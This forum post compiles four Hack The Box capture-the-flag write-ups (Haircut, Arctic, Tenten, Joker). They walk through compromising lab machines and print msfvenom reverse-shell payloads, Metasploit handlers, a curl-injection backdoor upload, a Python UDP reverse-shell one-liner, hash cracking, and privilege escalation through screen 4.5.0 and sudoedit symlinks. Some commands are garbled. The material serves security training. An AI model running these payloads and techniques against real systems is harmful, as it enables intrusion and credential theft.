Login

**NINZA** · 05-14-2020, 08:38 AM

0			0

Hello friends!! Today we are going to solve another CTF challenge “Haircut” which is categories as retired lab presented by Hack the Box for making online penetration practices. Solving challenges in this lab is not that much easy until you don’t have some knowledge of WAPT. Let start and learn how to analyze any vulnerability in a network then exploit it for retrieving desired information.
Level: Intermediate
Task: find user.txt and root.txt file on the victim’s machine.
Since these labs are online accessible therefore they have static IP. The IP of Haircut is 10.10.10.24 so let’s initiate with nmap port enumeration.
nmap -A 10.10.10.24
1
nmap -A 10.10.10.24
From the given below image, you can observe we found port 22 and 80 are open in the victim’s network.
[Image: 1.png?w=687&ssl=1]

Knowing port 80 is open to the victim’s network we preferred to explore his IP in a browser and the following image as shown below.
[Image: 2.png?w=687&ssl=1]

Then I preferred to use dirbuster tool and chose directory list 2-3 medium.txt file for directory brute force attack on

[To see content please register here]

for PHP file extension.
[Image: 3.png?w=687&ssl=1]

As a result, it found the uploads directory with 403 response and an exposed.php file with 200 ok response.
[Image: 4.png?w=687&ssl=1]

When we explored

[To see content please register here]

we found a search page for finding the location of any hairdresser’s.
[Image: 6.png?w=687&ssl=1]

For testing, I search for google.com and received very uncommon result but when I inspect the following code I notice the word “CURL” which might be pointing towards running curl service in targets system. As we known curl have upload or download option and hence here we can transfer our backdoor to targets system.
[Image: 7.png?w=687&ssl=1]

Without wasting time I generated a PHP backdoor with help of msfvenom and start multi/handler inside the Metasploit framework.
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.3 lport=4321 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.3 lport=4321 -f raw
[Image: 8.png?w=687&ssl=1]

Now we need to transfer our backdoor file to the target system therefore first we need to run python server on port 80 using the following command.
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
[Image: 9.png?w=687&ssl=1]

First I tried to upload the file directly through browser

[To see content please register here]

but got failed at that point I use burpsuite for fetching HTTP post request and send it to the repeater. Then I run curl command for downloading any file from the given path by omitting word “curl” as shown below.
formurl = -o uploads/revshell.php

[To see content please register here]

1
formurl = -o uploads/revshell.php

[To see content please register here]

uploads/revshell.php denotes the path where our backdoor reverse.php file will be uploaded.

[To see content please register here]

denotes the path for downloading the file from here.
After then click on the Go tab and found that our file is successfully transferred into the target’s system.
[Image: 10.1.png?w=687&ssl=1]

As the revshell.php file is successfully transferred into the target’s system but we need to execute that file for getting the reverse connection, therefore, I simply run following the path in a web browser.

[To see content please register here]

1

[To see content please register here]

After executing uploaded backdoor file come back to the Metasploit framework and wait for the meterpreter session.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.3
msf exploit(multi/handler) set lport 4321
msf exploit(multi/handler) exploit
1
2
3
4
5
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.3
msf exploit(multi/handler) set lport 4321
msf exploit(multi/handler) exploit
From given below image you can observe meterpreter session 1 opened for accessing victim tty shell.
meterpreter>sysinfo
1
meterpreter>sysinfo
[Image: 10.png?w=687&ssl=1]

Now let’s finished the task by grabbing user.txt and root.txt file. First I move into the home directory and check available files and directories inside it.
cd /home
ls
1
2
cd /home
ls
here I got a directory maria and after exploring it we found so many files and directory, at last, I fetch the user.txt file from inside /maria/Desktop/ and use cat command for reading.
cat user.txt
1
cat user.txt
our 1st challenges finished successfully now move for 2nd challenge.
[Image: 11.png?w=687&ssl=1]

For spawning proper tty shell of target’s system we need to import python file, therefore, I run following command inside the meterpreter shell
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
Then using the following command we got all files and directories having root permission.
find / -perm -4000 -user root -exec ls -ld {} \; 2>/dev/null
1
find / -perm -4000 -user root -exec ls -ld {} \; 2>/dev/null
Here I notice /usr/bin/screen-4.5.0 now let’s check its exploit if available.
[Image: 12.png?w=687&ssl=1]

In a new terminal, we look for any exploit present in exploitdb for screen 4.5.0 with help of searchsploit.
searchsploit screen 4.5.0
1
searchsploit screen 4.5.0
From given below image you can observe the highlighted exploit 41154.sh which is a shell script for local privilege escalation.
[Image: 13.png?w=687&ssl=1]

When I didn’t find any appropriate method to execute this shell script for post exploitation then I go with manual compilation and review its code using cat command.
cat /usr/share/exploitdb/exploits/linux/local/41154.sh
1
cat /usr/share/exploitdb/exploits/linux/local/41154.sh
If you will notice the following code then you will observe this script is written in C language and we have divided it into three part for manual compilation.

Copy Yellow highlighted the code and past it in a text document and save it as libhax.c
Copy Orange highlighted the code and past it in a text document and save it as rootshell.c

At last copy remaining code and past it in a text document and save it as 41154.sh
[Image: 14.png?w=687&ssl=1]

From given below image you can see I have pasted above copied inside rootshell.c
[Image: 16.png?w=687&ssl=1]

From given below image you can see I have pasted above copied inside libhax.c
[Image: 17.png?w=687&ssl=1]

From given below image you can see I have pasted above remaining copied inside 41154.sh and save all three text document on the desktop in a new folder shell.
[Image: 18.png?w=687&ssl=1]

Let’s compile our C program file manually in our local system using gcc as given below.
gcc -fPIC -shared -ldl -o libhax.so libhax.c
1
gcc -fPIC -shared -ldl -o libhax.so libhax.c
[Image: 22.png?w=687&ssl=1]

Similarly compile rootshell.c file through the following command.
gcc -o rootshell rootshell.c
1
gcc -o rootshell rootshell.c
[Image: 23.png?w=687&ssl=1]

From given below image you can see all files we have stored in our folder shell, now let’s upload them into the target’s system through our previous meterpreter session.
[Image: 24.png?w=687&ssl=1]

Since we /tmp has read and write permission, therefore, we are uploading all files in /tmp directory by executing following command.
cd /tmp
upload /root/Desktop/shell .
1
2
cd /tmp
upload /root/Desktop/shell .
[Image: 25.1.png?w=687&ssl=1]

Again for spawning proper tty shell of target’s system, we need to import python file, therefore, I run following command inside the meterpreter shell
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
Open 41154.sh file as it contains a command for getting root privilege as shown below.
cat 41154.sh
1
cat 41154.sh
[Image: 25.png?w=687&ssl=1]

Execute the following command and get the root.
cd /etc
unmask 000
-D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
cd root
1
2
3
4
cd /etc
unmask 000
-D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
cd root
Here I got root.txt file now using cat command let open this file and finished our 2nd challenge.
cat root.txt
1
cat root.txt
Wonderful!! We had completed the task and hacked this box.
[Image: 26.png?w=687&ssl=1]

Hello friends!! Today we are going to solve another CTF challenge “Arctic” which is categories as retried lab presented by Hack the Box for making online penetration practices. Solving challenges in this lab is not that much easy until you don’t have some knowledge of vulnerability assessment. Let start and learn how to analyze any vulnerability in a network then exploit it for retrieving desired information.
Level: Intermediate
Task: find user.txt and root.txt file in the victim’s machine.
Since these labs are online accessible therefore they have static IP. The IP of Arctic is 10.10.10.11 so let’s initiate with nmap port enumeration.
nmap -A 10.10.10.11
1
nmap -A 10.10.10.11
From the given below image, you can observe we found port 1135, 8500 and 49154 are open in the victim’s network.
[Image: 1.png?w=687&ssl=1]

Looking toward port 8500 open fmtp service to upkeep flight message transfer protocol between Air Traffic Service, thought to explore it through as URL:

[To see content please register here]

in the web browser as shown below image.
And found two directories as result, then gone with first link “CFIDE”
[Image: 2.png?w=687&ssl=1]

Next, I got the index page of CFIDE and saw the administrator directory then without wasting time I move with administrator options.
[Image: 3.png?w=687&ssl=1]

Administrator page contains admin login panel and required user and password for login which I don’t know. At the end of the page, I notice Adobe ColdFusion is running in the target system and if I took it as a hint then I will look for any exploit.
[Image: 4.png?w=687&ssl=1]

So when I Google I found exploit 14641 Adobe Cold Fusion is vulnerable to Directory Traversal then I copied the highlighted text which indicates ColdFusion 8 also stores the administrator hash locally in a file password. Properties.
[Image: 5.png?w=687&ssl=1]

Now we can seize the administrator hash using the directory traversal through the following URL:
From given below you can perceive that it has shown hash password, let copied it for its decryption into plain text.
[Image: 6.png?w=687&ssl=1]

Using online MD5 decryption I cracked above hash value and found “happyday” as a plaintext password which we can use for login into the admin panel.
[Image: 7.png?w=687&ssl=1]

Using admin:happyday as login credential I logged into the admin console and choose scheduled tasks option from inside Debugging & logging for scheduling new task as shown below in the image.
[Image: 8.png?w=687&ssl=1]

The scheduled task setup provides you the facility to download a file from a web server and save the output locally as shown below image, now fill text filed mention below which are mandatory.
Task Name: reversshell
URL: the path of running a web server through which it can download any file (Malicious file).
Publish: Enable check box to save the output locally
File: give default path for storing your malicious program file in the target’s system (by default C:\ColdFusion8\wwwroot\CFIDE\).
[Image: 9.png?w=687&ssl=1]

Now we need to generate a backdoor shell and for that, I had used msfvenom and generated a jsp shell through the following command.
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.3 LPORT=9000 -f raw > /root/Desktop/shell.jsp
1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.3 LPORT=9000 -f raw > /root/Desktop/shell.jsp
On other hand run multi/handler through Metasploit framework for reverse connection.
[Image: 10.png?w=687&ssl=1]

Now we need to transfer our shell.jsp file to target system therefore first we need to run python server on port 80 using the following command.
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
[Image: 11.png?w=687&ssl=1]

Now upload your shell.jsp file by giving its path in URL filed

[To see content please register here]

and enable the checkbox for save the output locally then give default path C:\ColdFusion8\wwwroot\CFIDE\shell.jsp for storing your malicious program file in target’s system and click on submit.
[Image: 12.png?w=687&ssl=1]

From given below image now you can check our reversshell is added into the list of task name, for executing our malicious jsp code we need to run the scheduled task.
[Image: 13.png?w=687&ssl=1]

We have used Metasploit and got the reverse connection from the target’s network.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload java/jsp_shell_reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.3
msf exploit(multi/handler) set lport 9000
msf exploit(multi/handler) exploit
1
2
3
4
5
msf use exploit/multi/handler
msf exploit(multi/handler) set payload java/jsp_shell_reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.3
msf exploit(multi/handler) set lport 9000
msf exploit(multi/handler) exploit
From given below image you can observe command shell session1 opened for accessing victim tty shell.
[Image: 14.png?w=687&ssl=1]

I try post exploit command for upgrading command shell into the meterpreter shell but failed, therefore, at last, I open a new Metasploit framework choose web_delivery exploit and copied the highlighted malicious code received after running the exploit.
msf use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) set target 2
msf exploit(multi/script/web_delivery) set payload windows/x64/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) set lhost 10.10.14.3
msf exploit(multi/script/web_delivery) set lport 4455
msf exploit(multi/script/web_delivery) run
1
2
3
4
5
6
msf use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) set target 2
msf exploit(multi/script/web_delivery) set payload windows/x64/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) set lhost 10.10.14.3
msf exploit(multi/script/web_delivery) set lport 4455
msf exploit(multi/script/web_delivery) run
After copying the malicious code, we need to paste it inside command shell session and execute it there and you will get meterpreter shell session 2. Since tty shell that we access has limited privileges therefore now we need to go with privilege escalation.
[Image: 15.png?w=687&ssl=1]

After trying a lot of posts exploit we successfully get a new meterpreter session through the ms15_051_client_copy_image module as given below.
use exploit/windows/local/ms15_051_client_copy_image
msf exploit(windows/local/ms15_051_client_copy_image) >set target 1
msf exploit(windows/local/ms15_051_client_copy_image) >set payload windows/x64/meterpreter/reverse_tcp
msf exploit(windows/local/ms15_051_client_copy_image) >set lhost 10.10.14.3
msf exploit(windows/local/ms15_051_client_copy_image) >set lport 8653
msf exploit(windows/local/ms15_051_client_copy_image) >set session 2
msf exploit(windows/local/ms15_051_client_copy_image) >exploit
1
2
3
4
5
6
7
use exploit/windows/local/ms15_051_client_copy_image
msf exploit(windows/local/ms15_051_client_copy_image) >set target 1
msf exploit(windows/local/ms15_051_client_copy_image) >set payload windows/x64/meterpreter/reverse_tcp
msf exploit(windows/local/ms15_051_client_copy_image) >set lhost 10.10.14.3
msf exploit(windows/local/ms15_051_client_copy_image) >set lport 8653
msf exploit(windows/local/ms15_051_client_copy_image) >set session 2
msf exploit(windows/local/ms15_051_client_copy_image) >exploit
From given below image we have meterpreter session 3.
meterpreter> getuid
1
meterpreter> getuid
[Image: 16.png?w=687&ssl=1]

Now let’s finish the task by grabbing user.txt and root.txt file. First I move into user directory and check available files and directories inside it.
cd users
ls
1
2
cd users
ls
Here I saw so many directories and traverse in each directory except tolis but didn’t get any file.
[Image: 17.png?w=687&ssl=1]

When I explore tolis/Desktop I saw user.txt and use cat command for reading.
cd tolis/Desktop
ls
cat user.txt
1
2
3
cd tolis/Desktop
ls
cat user.txt
Great!! Here we had completed 1st task now move to the 2nd task.
[Image: 18.png?w=687&ssl=1]

Similarly, after traversing so many directories I got root.txt from inside users/Administrator/Desktop and use cat command for reading.
cd /users/Administrator/Desktop
ls
cat root.txt
1
2
3
cd /users/Administrator/Desktop
ls
cat root.txt
Fruitfully completed the 2nd task!!
[Image: 19.png?w=687&ssl=1]

Hello friends!! Today we are going to solve another CTF challenge “Tenten” which is available online for those who want to increase their skill in penetration testing and black box testing. Tenten is a retried vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level, they have a collection of vulnerable labs as challenges from beginners to Expert level.
Level: Intermediate
Task: find user.txt and root.txt file in the victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.10 so let’s begin with nmap port enumeration.
nmap -A 10.10.10.10
1
nmap -A 10.10.10.10
From the given below image, you can observe we found port 22,80 are open in the victim’s network.
[Image: 1.png?w=687&ssl=1]

Knowing port 80 is open in victim’s network we preferred to explore his IP in the browser following page indicates that is a WordPress website which is a remarkable indication for my next step.
[Image: 2.png?w=687&ssl=1]

Now we decided to use wpscan, on the URL that we have entered in the browser. To check if there are any kind of vulnerable themes, plugins etc.
wpscan –u

[To see content please register here]

--enumerate t --enumerate t --enumerate u
1
wpscan –u

[To see content please register here]

--enumerate t --enumerate t --enumerate u
[Image: 3.png?w=687&ssl=1]

The wpscan has enumerated the usernames where we have found the login credentials as takis.
[Image: 4.1.png?w=687&ssl=1]

Now we have clicked on Sign Up to register on the site. And we saw Jobs Listing as shown below.
[Image: 4.png?w=687&ssl=1]

After giving the details about the job. Click on apply now.
[Image: 5.png?w=687&ssl=1]

After clicking on apply now, the webpage opened is shown below.
[Image: 6.png?w=687&ssl=1]

As you can see from the previous image, we have made an alight change in the URL. In which we have simply changed the end number by /10/ which opened a page stating Job application as you can see below.
[Image: 7.png?w=687&ssl=1]

As you can see we have again changed the end number in the URL by 11 and this time it opened a page stating Cube.
[Image: 9.1.png?w=687&ssl=1]

So as to avoid wastage of time. We have simply captured the request of the page using burpsuite and sent to intruder for fuzzing.
[Image: 9.2.png?w=687&ssl=1]

After that inside intruder, we have selected the position 8 as highlighted in the below image where we want to use bruteforcing through burpsuite.
[Image: 9.3.png?w=687&ssl=1]

We have selected the Payload type as Numbers where we have specified the number range as shown below.
[Image: 9.4.png?w=687&ssl=1]

As you can see the attack has begun. By selecting payload 13 which made us think there might be something different about this page and there we saw the title of the page which is HackerAccessGranted as you can see below.
[Image: 9.png?w=687&ssl=1]

As we know in WordPress there is directory structure for the uploaded files is recognized by /wp-content/uploads/%year%/%month%/%filename% then I connect HackerAccessGranted with an Image file and at last after so many attempts I execute to use the following URL.

[To see content please register here]

1

[To see content please register here]

Finally!! It has shown a hacker image on this web page and without wasting time I downloaded this image.
[Image: 10.png?w=687&ssl=1]

Since it was an image of a hacker with message Access Granted but I was pretty sure that it is steganography and there are some chances of hidden text within this image therefore next I choose to use Steghide tool.
steghide extract -sf HackerAccessGranted.jpg
1
steghide extract -sf HackerAccessGranted.jpg
From given below image you can observe that it has extract .jpg image into “id_rsa”
[Image: 11.png?w=687&ssl=1]

When I try to open this file, it required a password to view its content.
[Image: 12.png?w=687&ssl=1]

Formerly I download a python script from

[To see content please register here]

for cracking the password of this file. Then I ran following command and got desired output.
python sshng2john.py id_rsa > ssh_login
1
python sshng2john.py id_rsa > ssh_login
Then we used John the ripper for cracking this ssh_login file.
john ssh_login --wordlist=/usr/share/wordlists/rockyou.txt
1
john ssh_login --wordlist=/usr/share/wordlists/rockyou.txt
“superpassword” we got a result from executing the above command.
[Image: 13.png?w=687&ssl=1]

And without wasting time I execute the following command for login into SSH using superpassword as the password.
ssh -i id_rsa [email protected]
1
ssh -i id_rsa [email protected]
Great!! I logged in successfully and check Takis’s privileged and roles using sudo -l and found he has all privileged and an indication for a directory /bin/fuckin with NOPASSWD.
First I explore the current directory where I found user.txt and use cat command for reading.
cat user.txt
1
cat user.txt
Successfully completed the 1st task.
Then move into /bin/fuckin where I found same file user.txt then without wasting I enrolled into root directory for finding root.txt.
cd /root
1
cd /root
Here I found user.txt and use cat command for reading.
cat root.txt
1
cat root.txt
Successfully completed the 2nd task.
Solving this lab was quite captivating especially steganography for hiding ssh password is a remarkable effort done by the author.
Enjoy Hacking!!
[Image: 14.png?w=687&ssl=1]

Hello friends!! Today we are going to solve another CTF challenge “Joker” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit write up of any Active lab therefore we have chosen retried joker lab.
Level: Intermediate
Task: find user.txt and root.txt file in victim’s machine.
Since these labs are online available therefore they have static IP. The IP of Joker is 10.10.10.21 so let’s begin with nmap port enumeration.
nmap -A 10.10.10.21
1
nmap -A 10.10.10.21
From given below image, you can observe we found port 22, 3128 are open in victim’s network.
[Image: 1.png?w=687&ssl=1]

After completing the Aggressive scan we use UDP scan to further enumerate the ports and find port 69 and 5355 are open.
[Image: 2.1.png?w=687&ssl=1]

After finding that the target machine is running tftp, we find a file called passwords we download the file and find that it consist of some hashes.
tftp 10.10.10.21
tftp > get passwords
1
2
tftp 10.10.10.21
tftp > get passwords
[Image: 2.png?w=687&ssl=1]

After downloading the file we use john the ripper to crack the hashes using rockyou.txt wordlist. We find the password to be “ihateseafood” for user “kalamari“.
john --wordlist=/usr/share/wordlists/rockyou.txt passwords
1
john --wordlist=/usr/share/wordlists/rockyou.txt passwords
[Image: 3.png?w=687&ssl=1]

As we know the target machine is running as squid proxy, we configure our browser to redirect the traffic through the target machine.
[Image: 4.png?w=687&ssl=1]

Now when we try to access the target machine on our browser we are unable to access any page.
[Image: 6.png?w=687&ssl=1]

Now as we are running redirecting all the traffic through the proxy server we try to open localhost on our browser to check if there are any changes in the behaviour. As soon as we open localhost on our browser we are greeted with a login popup.
[Image: 5.png?w=687&ssl=1]

We use the password and username we found above by cracking the hashes to login into the page.
[Image: 7.png?w=687&ssl=1]

We use dirb to enumerate the directories and find /console directory.
dirb http://127.0.0.1 -p 10.10.10.21:3128 -P kalamari:ihateseafood -r
1
dirb http://127.0.0.1 -p 10.10.10.21:3128 -P kalamari:ihateseafood -r
[Image: 8.1.png?w=687&ssl=1]

When we open the console directory and found a page that acts as an interpreter for python.
[Image: 8.png?w=687&ssl=1]

Now we use python reverse shell to gain access to the target machine but TCP reverse shell doesn’t work on the system so we use UDP reverse shell to gain access of the system.
import subprocess;subprocess.Popen(["python", "-c", 'import os;import pty;import socket;s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM);s.connect((\"10.10.14.3\", 4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv(\"HISTFILE\",\"/dev/null\");pty.spawn(\"/bin/sh\");s.close()'])
1
import subprocess;subprocess.Popen(["python", "-c", 'import os;import pty;import socket;s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM);s.connect((\"10.10.14.3\", 4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv(\"HISTFILE\",\"/dev/null\");pty.spawn(\"/bin/sh\");s.close()'])
[Image: 9.png?w=687&ssl=1]

We use socat to setup our listener as netcat was not able to provide a stable tty shell for us to run our commands.
socat file:’tty’,echo=0,raw udp-listen:4444
1
socat file:’tty’,echo=0,raw udp-listen:4444
[Image: 10.png?w=687&ssl=1]

After gaining reverse shell we take a look at the sudoers file and find that we can run a command called sudoedit on file /var/www/*/*/layout.html as alekos. Sudo edit is a command that can be use to edit any file on the system.
[Image: 11.png?w=687&ssl=1]

Enumerating through the directories we find .ssh folder in /home/alekos folder.
[Image: 12.png?w=687&ssl=1]

Now as the file listed in the sudoers list is using wildcard we can use symlink to link a file that can be edited using sudoedit. As we found the .ssh folder for user alekos we link the authorized_keys with layout.html to edit the authorized_keys and add our keys , so that we can gain access through ssh using our own private key.
cd /var/www/
cd testing
mkdir test
cd test
ln -s /home/alekos/.ssh/authorized_keys layout.html
1
2
3
4
5
cd /var/www/
cd testing
mkdir test
cd test
ln -s /home/alekos/.ssh/authorized_keys layout.html
[Image: 13.png?w=687&ssl=1]

Now we use sudoedit as user alekos to edit alekos’s authorized_keys.
sudoedit -u alekos /var/www/testing/test/layout.html
1
sudoedit -u alekos /var/www/testing/test/layout.html
[Image: 14.png?w=687&ssl=1]

Now we generate keys on our system so that we can copy the public key into authorized_keys and use our private key to login.
ssh-keygen
1
ssh-keygen
[Image: 15.png?w=687&ssl=1]

Now we open the public key that we just generated and copy it.
cat id_rsa.pub
1
cat id_rsa.pub
[Image: 16.png?w=687&ssl=1]

We copy it in our target machine and save it.
[Image: 17.png?w=687&ssl=1]

Now we use the private key we generated to login through ssh to the target machine. As soon as we login through ssh we find user.txt in the home directory of alekos we open it and find the first flag.
ssh -i id_rsa [email protected]
1
ssh -i id_rsa [email protected]
[Image: 18.png?w=687&ssl=1]

We start enumerating the directories; in the backup directory we find a few tape archive files when we extract them we find that it contains the backup for development directory.
[Image: 19.png?w=687&ssl=1]

Now we rename the development directory to dev/ and use symlink to link the root directory to the development directory.
mv development dev/
ln -s root development
1
2
mv development dev/
ln -s root development
[Image: 20.png?w=687&ssl=1]

We then wait for a few minutes for the file to create backup for the new development folder. As the development is linked to root folder it will create a backup for the root folder. Now we open the new tape archive file that is created and find a file called root.txt we open it and find the final flag.
[Image: 21.png?w=687&ssl=1]

Author: Saya

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis